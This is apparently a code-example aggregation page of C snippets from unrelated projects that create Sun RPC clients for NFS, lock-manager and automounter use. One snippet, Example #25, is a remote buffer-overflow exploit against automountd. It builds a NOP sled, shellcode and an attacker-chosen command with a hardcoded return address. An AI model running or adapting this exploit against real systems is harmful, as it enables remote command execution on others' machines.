        if (connect(sock, (struct sockaddr *)client_sock, sizeof(struct sockaddr)) == 0) {
            /* TCP */
            if (hints->ai_socktype == SOCK_STREAM) {
                    /* TODO set recvsz and sendsz to the NFS blocksize */
                    client = clnttcp_create(client_sock, prognum, version, &sock, 0, 0);
                    if (client == NULL) {
                        clnt_pcreateerror("clnttcp_create");
                    }
            /* UDP */
            } else {
                client = clntudp_create(client_sock, prognum, version, timeout, &sock);
                if (client == NULL) {
                    clnt_pcreateerror("clntudp_create");
                }
            }
        } else {
            perror("create_rpc_client(connect)");
            return NULL;
        }

        if (verbose) {
            if (getsockname(sock, (struct sockaddr *)&getaddr, &len) == -1) {
                perror("create_rpc_client(getsockname)");
                /* this is just verbose output so don't return an error */
            } else {
                inet_ntop(AF_INET, (struct sockaddr_in *)&getaddr.sin_addr, src, INET_ADDRSTRLEN);
                inet_ntop(AF_INET, &(client_sock->sin_addr), dst, INET_ADDRSTRLEN);
                debug("Connected = %s:%u -> %s:%u\n", src, ntohs(getaddr.sin_port), dst, ntohs(client_sock->sin_port));
            }
        }
    }

    if (client) {
        /* TODO check return values */
        /* use AUTH_NONE authentication by default */
        client->cl_auth = authnone_create();
        /* set the RPC timeout */
        clnt_control(client, CLSET_TIMEOUT, (char *)&timeout);
        /* set the socket to close when the client is destroyed */
        clnt_control(client, CLSET_FD_CLOSE, NULL);
    }

    return client;
}
int
callrpc (const char *host, u_long prognum, u_long versnum, u_long procnum,
	 xdrproc_t inproc, const char *in, xdrproc_t outproc, char *out)
{
  struct callrpc_private_s *crp = callrpc_private;
  struct sockaddr_in server_addr;
  enum clnt_stat clnt_stat;
  struct hostent hostbuf, *hp;
  struct timeval timeout, tottimeout;

  if (crp == 0)
    {
      crp = (struct callrpc_private_s *) calloc (1, sizeof (*crp));
      if (crp == 0)
	return 0;
      callrpc_private = crp;
    }
  if (crp->oldhost == NULL)
    {
      crp->oldhost = malloc (256);
      crp->oldhost[0] = 0;
      crp->socket = RPC_ANYSOCK;
    }
  if (crp->valid && crp->oldprognum == prognum && crp->oldversnum == versnum
      && strcmp (crp->oldhost, host) == 0)
    {
      /* reuse old client */
    }
  else
    {
      size_t buflen;
      char *buffer;
      int herr;

      crp->valid = 0;
      if (crp->socket != RPC_ANYSOCK)
	{
	  (void) close (crp->socket);
	  crp->socket = RPC_ANYSOCK;
	}
      if (crp->client)
	{
	  clnt_destroy (crp->client);
	  crp->client = NULL;
	}

      buflen = 1024;
      buffer = alloca (buflen);
      while (gethostbyname_r (host, &hostbuf, buffer, buflen,
				&hp, &herr) != 0
	     || hp == NULL)
	if (herr != NETDB_INTERNAL || errno != ERANGE)
	  return (int) RPC_UNKNOWNHOST;
	else
	  {
	    /* Enlarge the buffer.  */
	    buflen *= 2;
	    buffer = alloca (buflen);
	  }

      timeout.tv_usec = 0;
      timeout.tv_sec = 5;
      memcpy ((char *) &server_addr.sin_addr, hp->h_addr, hp->h_length);
      server_addr.sin_family = AF_INET;
      server_addr.sin_port = 0;
      if ((crp->client = clntudp_create (&server_addr, (u_long) prognum,
			  (u_long) versnum, timeout, &crp->socket)) == NULL)
	return (int) get_rpc_createerr().cf_stat;
      crp->valid = 1;
      crp->oldprognum = prognum;
      crp->oldversnum = versnum;
      (void) strncpy (crp->oldhost, host, 255);
      crp->oldhost[255] = '\0';
    }
  tottimeout.tv_sec = 25;
  tottimeout.tv_usec = 0;
  clnt_stat = clnt_call (crp->client, procnum, inproc, (char *) in,
			 outproc, out, tottimeout);
  /*
   * if call failed, empty cache
   */
  if (clnt_stat != RPC_SUCCESS)
    crp->valid = 0;
  return (int) clnt_stat;
}
Exemple #25
0
int main ( int argc, char *argv[] ) {
    CLIENT *cl;
    struct timeval tv;
    struct sockaddr_in sa;
    struct hostent *he;
    char buf[8000], *path = buf, comm[200], *host, *cc;
    int sd, res, x, y, offset=0, c, port=0, damn=0, udp=0;
    long addr = 0xbffff505;

    while ((c = getopt(argc, argv, "h:p:c:o:u")) != -1)
        switch (c) {
        case 'h':
            host = optarg;
            break;

        case 'p':
            port = atoi(optarg);
            break;

        case 'c':
            cc = optarg;
            break;

        case 'o':
            offset = atoi ( optarg);
            break;

        case 'u':
            udp = 1;
            break;

        default:
            damn = 1;
            break;
        }

    if (!host || !cc || damn) usage ( argv[0]);

    sa.sin_family = AF_INET;
    he = gethostbyname ( host);
    if (!he) {
        if ( (sa.sin_addr.s_addr = inet_addr ( host)) == INADDR_NONE) {
            printf ( "unknown host, try again pal!\n");
            exit ( 0);
        }
    } else
        bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
    sa.sin_port = htons(port);
    sd = RPC_ANYSOCK;
    tv.tv_sec = 10;
    tv.tv_usec = 0;

    snprintf ( comm, sizeof(comm), "%s", cc);
    if ( strlen(comm) >= 160) {
        printf ( "command too long\n");
        exit (0);
    } else {
        comm[strlen(comm)] = ';';
        for ( x = strlen(comm); x < 160; x++)
            comm[x] = 'A';
    }

    addr += offset;
    for ( x = 0; x < (1001-(strlen(shellcode)+strlen(comm))); x++)
        buf[x] = NOP;

    for ( y = 0; y < strlen(shellcode); x++, y++)
        buf[x] = shellcode[y];

    for ( y = 0; y < strlen(comm); x++, y++)
        buf[x] = comm[y];

    printf ( "SDI automountd remote exploit for linux\n");
    printf ( "Host %s \nRET 0x%x \nOFFset %d \n", host, addr, offset);

    for ( ; x < 1020; x+=4) {
        buf[x  ] = (addr & 0x000000ff);
        buf[x+1] = (addr & 0x0000ff00) >> 8;
        buf[x+2] = (addr & 0x00ff0000) >> 16;
        buf[x+3] = (addr & 0xff000000) >> 24;
    }

    buf[strlen(buf)] = '\0';

    if (!udp) {
        if ((cl = clnttcp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, &sd, 0, 0)) ==
                NULL)
        {
            clnt_pcreateerror("clnt_create");
            exit (-1);
        }
    } else {
        if ((cl = clntudp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, tv, &sd)) ==
                NULL)
        {
            clnt_pcreateerror("clnt_create");
            exit (-1);
        }
    }
    printf ( "PORT %d \n", ntohs(sa.sin_port));
    printf ( "Command: %s \n", cc);

    amqproc_mount_1 (&path, cl);

    clnt_destroy ( cl);

}
Exemple #26
0
CLIENT *
get_client(struct sockaddr_in *host_addr, u_long vers)
{
	CLIENT *client;
	int     sock_no, i;
	struct timeval retry_time, time_now;

	gettimeofday(&time_now, NULL);

	/*
	 * Search for the given client in the cache, zapping any expired
	 * entries that we happen to notice in passing.
	 */
	for (i = 0; i < CLIENT_CACHE_SIZE; i++) {
		client = clnt_cache_ptr[i];
		if (client && ((clnt_cache_time[i] + CLIENT_CACHE_LIFETIME)
		    < time_now.tv_sec)) {
			/* Cache entry has expired. */
			if (debug_level > 3)
				syslog(LOG_DEBUG, "Expired CLIENT* in cache");
			clnt_cache_time[i] = 0L;
			clnt_destroy(client);
			clnt_cache_ptr[i] = NULL;
			client = NULL;
		}
		if (client && !memcmp(&clnt_cache_addr[i], &host_addr->sin_addr,
			sizeof(struct in_addr))) {
			/* Found it! */
			if (debug_level > 3)
				syslog(LOG_DEBUG, "Found CLIENT* in cache");
			return client;
		}
	}

	/* Not found in cache.  Free the next entry if it is in use. */
	if (clnt_cache_ptr[clnt_cache_next_to_use]) {
		clnt_destroy(clnt_cache_ptr[clnt_cache_next_to_use]);
		clnt_cache_ptr[clnt_cache_next_to_use] = NULL;
	}

	sock_no = RPC_ANYSOCK;
	retry_time.tv_sec = 5;
	retry_time.tv_usec = 0;
	host_addr->sin_port = 0;
	client = clntudp_create(host_addr, NLM_PROG, vers, retry_time, &sock_no);
	if (!client) {
		syslog(LOG_ERR, "%s", clnt_spcreateerror("clntudp_create"));
		syslog(LOG_ERR, "Unable to return result to %s",
		    inet_ntoa(host_addr->sin_addr));
		return NULL;
	}

	/* Success - update the cache entry */
	clnt_cache_ptr[clnt_cache_next_to_use] = client;
	clnt_cache_addr[clnt_cache_next_to_use] = host_addr->sin_addr;
	clnt_cache_time[clnt_cache_next_to_use] = time_now.tv_sec;
	if (++clnt_cache_next_to_use >= CLIENT_CACHE_SIZE)
		clnt_cache_next_to_use = 0;

	/*
	 * Disable the default timeout, so we can specify our own in calls
	 * to clnt_call().  (Note that the timeout is a different concept
	 * from the retry period set in clnt_udp_create() above.)
	 */
	retry_time.tv_sec = -1;
	retry_time.tv_usec = -1;
	clnt_control(client, CLSET_TIMEOUT, (char *)(void *)&retry_time);

	if (debug_level > 3)
		syslog(LOG_DEBUG, "Created CLIENT* for %s",
		    inet_ntoa(host_addr->sin_addr));
	return client;
}
Exemple #27
0
int
getnfsargs(char *spec, struct nfs_args *nfsargsp)
{
	CLIENT *clp;
	struct hostent *hp;
	static struct sockaddr_in saddr;
	struct timeval pertry, try;
	enum clnt_stat clnt_stat;
	int so = RPC_ANYSOCK, i, nfsvers, mntvers, orgcnt;
	char *hostp, *delimp;
	u_short tport;
	static struct nfhret nfhret;
	static char nam[MNAMELEN + 1];

	if (strlcpy(nam, spec, sizeof(nam)) >= sizeof(nam)) {
		errx(1, "hostname too long");
	}

	if ((delimp = strchr(spec, '@')) != NULL) {
		hostp = delimp + 1;
	} else if ((delimp = strchr(spec, ':')) != NULL) {
		hostp = spec;
		spec = delimp + 1;
	} else {
		warnx("no <host>:<dirpath> or <dirpath>@<host> spec");
		return (0);
	}
	*delimp = '\0';

	/*
	 * Handle an internet host address
	 */
	if (inet_aton(hostp, &saddr.sin_addr) == 0) {
		hp = gethostbyname(hostp);
		if (hp == NULL) {
			warnx("can't resolve address for host %s", hostp);
			return (0);
		}
		memcpy(&saddr.sin_addr, hp->h_addr, hp->h_length);
	}

	if (force2) {
		nfsvers = NFS_VER2;
		mntvers = RPCMNT_VER1;
	} else {
		nfsvers = NFS_VER3;
		mntvers = RPCMNT_VER3;
	}
	orgcnt = retrycnt;
tryagain:
	nfhret.stat = EACCES;	/* Mark not yet successful */
	while (retrycnt > 0) {
		saddr.sin_family = AF_INET;
		saddr.sin_port = htons(PMAPPORT);
		if ((tport = port_no ? port_no : pmap_getport(&saddr,
		    RPCPROG_NFS, nfsvers, nfsargsp->sotype == SOCK_STREAM ?
		    IPPROTO_TCP : IPPROTO_UDP)) == 0) {
			if ((opflags & ISBGRND) == 0)
				clnt_pcreateerror("NFS Portmap");
		} else {
			saddr.sin_port = 0;
			pertry.tv_sec = 10;
			pertry.tv_usec = 0;
			if (mnttcp_ok && nfsargsp->sotype == SOCK_STREAM)
			    clp = clnttcp_create(&saddr, RPCPROG_MNT, mntvers,
				&so, 0, 0);
			else
			    clp = clntudp_create(&saddr, RPCPROG_MNT, mntvers,
				pertry, &so);
			if (clp == NULL) {
				if ((opflags & ISBGRND) == 0)
					clnt_pcreateerror("Cannot MNT RPC");
			} else {
				clp->cl_auth = authunix_create_default();
				try.tv_sec = 10;
				try.tv_usec = 0;
				nfhret.auth = RPCAUTH_UNIX;
				nfhret.vers = mntvers;
				clnt_stat = clnt_call(clp, RPCMNT_MOUNT,
				    xdr_dir, spec, xdr_fh, &nfhret, try);
				if (clnt_stat != RPC_SUCCESS) {
					if (clnt_stat == RPC_PROGVERSMISMATCH) {
						if (nfsvers == NFS_VER3 &&
						    !force3) {
							retrycnt = orgcnt;
							nfsvers = NFS_VER2;
							mntvers = RPCMNT_VER1;
							nfsargsp->flags &=
							    ~NFSMNT_NFSV3;
							goto tryagain;
						} else {
							warnx("%s",
							    clnt_sperror(clp,
								"MNT RPC"));
						}
					}
					if ((opflags & ISBGRND) == 0)
						warnx("%s", clnt_sperror(clp,
						    "bad MNT RPC"));
				} else {
					auth_destroy(clp->cl_auth);
					clnt_destroy(clp);
					retrycnt = 0;
				}
			}
		}
		if (--retrycnt > 0) {
			if (opflags & BGRND) {
				opflags &= ~BGRND;
				if ((i = fork())) {
					if (i == -1)
						err(1, "fork");
					exit(0);
				}
				(void) setsid();
				(void) close(STDIN_FILENO);
				(void) close(STDOUT_FILENO);
				(void) close(STDERR_FILENO);
				(void) chdir("/");
				opflags |= ISBGRND;
			}
			sleep(60);
		}
	}
	if (nfhret.stat) {
		if (opflags & ISBGRND)
			exit(1);
		errno = nfhret.stat;
		warnx("can't access %s: %s", spec, strerror(nfhret.stat));
		return (0);
	}
	saddr.sin_port = htons(tport);
	nfsargsp->addr = (struct sockaddr *) &saddr;
	nfsargsp->addrlen = sizeof (saddr);
	nfsargsp->fh = nfhret.nfh;
	nfsargsp->fhsize = nfhret.fhsize;
	nfsargsp->hostname = nam;
	return (1);
}
Exemple #28
0
/*
 * Find the best NFS version for a host and protocol.
 */
u_long
get_nfs_version(char *host, struct sockaddr_in *sin, u_long nfs_version, const char *proto)
{
  CLIENT *clnt;
  int again = 0;
  enum clnt_stat clnt_stat;
  struct timeval tv;
  int sock;
  char *errstr;

  /*
   * If not set or set wrong, then try from NFS_VERS_MAX on down. If
   * set, then try from nfs_version on down.
   */
  if (nfs_version <= 0 || nfs_version > NFS_VERS_MAX) {
    nfs_version = NFS_VERS_MAX;
    again = 1;
  }
  tv.tv_sec = 2;		/* retry every 2 seconds, but also timeout */
  tv.tv_usec = 0;

#ifdef HAVE_FS_NFS3
try_again:
#endif /* HAVE_FS_NFS3 */

  sock = RPC_ANYSOCK;
  errstr = NULL;
  if (STREQ(proto, "tcp"))
    clnt = clnttcp_create(sin, NFS_PROGRAM, nfs_version, &sock, 0, 0);
  else if (STREQ(proto, "udp"))
    clnt = clntudp_create(sin, NFS_PROGRAM, nfs_version, tv, &sock);
  else
    clnt = NULL;

  if (clnt != NULL) {
    /* Try three times (6/2=3) to verify the CLIENT handle. */
    tv.tv_sec = 6;
    clnt_stat = clnt_call(clnt,
			  NFSPROC_NULL,
			  (XDRPROC_T_TYPE) xdr_void,
			  0,
			  (XDRPROC_T_TYPE) xdr_void,
			  0,
			  tv);

    if (clnt_stat != RPC_SUCCESS)
      errstr = clnt_sperrno(clnt_stat);

    close(sock);
    clnt_destroy(clnt);
  } else {
#ifdef HAVE_CLNT_SPCREATEERROR
    errstr = clnt_spcreateerror("");
#else /* not HAVE_CLNT_SPCREATEERROR */
    errstr = "";
#endif /* not HAVE_CLNT_SPCREATEERROR */
  }

  if (errstr) {
    plog(XLOG_INFO, "get_nfs_version NFS(%d,%s) failed for %s%s",
 	 (int) nfs_version, proto, host, errstr);
    if (again) {
#ifdef HAVE_FS_NFS3
      if (nfs_version == NFS_VERSION3) {
	nfs_version = NFS_VERSION;
	again = 0;
	plog(XLOG_INFO, "get_nfs_version trying a lower version: NFS(%d,%s)", (int) nfs_version, proto);
      }
      goto try_again;
#endif /* HAVE_FS_NFS3 */
    }
    return 0;
  }

  plog(XLOG_INFO, "get_nfs_version: returning NFS(%d,%s) on host %s",
       (int) nfs_version, proto, host);
  return nfs_version;
}
Exemple #29
0
/*
 * Find the best NFS version for a host and protocol.
 */
u_long
get_nfs_version(char *host, struct sockaddr_in *sin, u_long nfs_version, const char *proto)
{
  CLIENT *clnt;
  int again = 0;
  enum clnt_stat clnt_stat;
  struct timeval tv;
  int sock;

  /*
   * If not set or set wrong, then try from NFS_VERS_MAX on down. If
   * set, then try from nfs_version on down.
   */
  if (nfs_version <= 0 || nfs_version > NFS_VERS_MAX) {
    nfs_version = NFS_VERS_MAX;
    again = 1;
  }
  tv.tv_sec = 3;		/* retry every 3 seconds, but also timeout */
  tv.tv_usec = 0;

  /*
   * First check if remote portmapper is up (verify if remote host is up).
   */
  clnt_stat = pmap_ping(sin);
  if (clnt_stat == RPC_TIMEDOUT) {
    plog(XLOG_ERROR, "get_nfs_version: failed to contact portmapper on host \"%s\": %s", host, clnt_sperrno(clnt_stat));
    return 0;
  }

#ifdef HAVE_FS_NFS3
try_again:
#endif /* HAVE_FS_NFS3 */

  sock = RPC_ANYSOCK;
  if (STREQ(proto, "tcp"))
    clnt = clnttcp_create(sin, NFS_PROGRAM, nfs_version, &sock, 0, 0);
  else if (STREQ(proto, "udp"))
    clnt = clntudp_create(sin, NFS_PROGRAM, nfs_version, tv, &sock);
  else
    clnt = NULL;

  if (clnt == NULL) {
#ifdef HAVE_CLNT_SPCREATEERROR
    plog(XLOG_INFO, "get_nfs_version NFS(%d,%s) failed for %s: %s",
	 (int) nfs_version, proto, host, clnt_spcreateerror(""));
#else /* not HAVE_CLNT_SPCREATEERROR */
    plog(XLOG_INFO, "get_nfs_version NFS(%d,%s) failed for %s",
	 (int) nfs_version, proto, host);
#endif /* not HAVE_CLNT_SPCREATEERROR */
    return 0;
  }

  /* Try a couple times to verify the CLIENT handle. */
  tv.tv_sec = 6;
  clnt_stat = clnt_call(clnt,
			NFSPROC_NULL,
			(XDRPROC_T_TYPE) xdr_void,
			0,
			(XDRPROC_T_TYPE) xdr_void,
			0,
			tv);
  close(sock);
  clnt_destroy(clnt);
  if (clnt_stat != RPC_SUCCESS) {
    if (again) {
#ifdef HAVE_FS_NFS3
      if (nfs_version == NFS_VERSION3) {
	plog(XLOG_INFO, "get_nfs_version trying a lower version");
	nfs_version = NFS_VERSION;
	again = 0;
      }
      goto try_again;
#endif /* HAVE_FS_NFS3 */
    }
    plog(XLOG_INFO, "get_nfs_version NFS(%d,%s) failed for %s",
 	 (int) nfs_version, proto, host);
    return 0;
  }

  plog(XLOG_INFO, "get_nfs_version: returning (%d,%s) on host %s",
       (int) nfs_version, proto, host);
  return nfs_version;
}
Exemple #30
0
/*
 * Generic client creation: takes (hostname, program-number, protocol) and
 * returns client handle. Default options are set, which the user can
 * change using the rpc equivalent of ioctl()'s.
 */
CLIENT *
clnt_create(
	char *hostname,
	rpcprog_t prog,
	rpcvers_t vers,
	char *proto)
{
	struct hostent *h;
	struct protoent *p;
	struct sockaddr_in sockin;
	int sock;
	struct timeval tv;
	CLIENT *client;

	h = gethostbyname(hostname);
	if (h == NULL) {
		rpc_createerr.cf_stat = RPC_UNKNOWNHOST;
		return (NULL);
	}
	if (h->h_addrtype != AF_INET) {
		/*
		 * Only support INET for now
		 */
		rpc_createerr.cf_stat = RPC_SYSTEMERROR;
		rpc_createerr.cf_error.re_errno = EAFNOSUPPORT;
		return (NULL);
	}
	memset(&sockin, 0, sizeof(sockin));
#if HAVE_STRUCT_SOCKADDR_IN_SIN_LEN
	sockin.sin_len = sizeof(sockin);
#endif
	sockin.sin_family = h->h_addrtype;
	sockin.sin_port = 0;
	memmove((char*)&sockin.sin_addr, h->h_addr, sizeof(sockin.sin_addr));
	p = getprotobyname(proto);
	if (p == NULL) {
		rpc_createerr.cf_stat = RPC_UNKNOWNPROTO;
		rpc_createerr.cf_error.re_errno = EPFNOSUPPORT;
		return (NULL);
	}
	sock = RPC_ANYSOCK;
	switch (p->p_proto) {
	case IPPROTO_UDP:
		tv.tv_sec = 5;
		tv.tv_usec = 0;
		client = clntudp_create(&sockin, prog, vers, tv, &sock);
		if (client == NULL) {
			return (NULL);
		}
		tv.tv_sec = 120;
		clnt_control(client, CLSET_TIMEOUT, &tv);
		break;
	case IPPROTO_TCP:
		client = clnttcp_create(&sockin, prog, vers, &sock, 0, 0);
		if (client == NULL) {
			return (NULL);
		}
		tv.tv_sec = 120;
		tv.tv_usec = 0;
		clnt_control(client, CLSET_TIMEOUT, &tv);
		break;
	default:
		rpc_createerr.cf_stat = RPC_SYSTEMERROR;
		rpc_createerr.cf_error.re_errno = EPFNOSUPPORT;
		return (NULL);
	}
	return (client);
}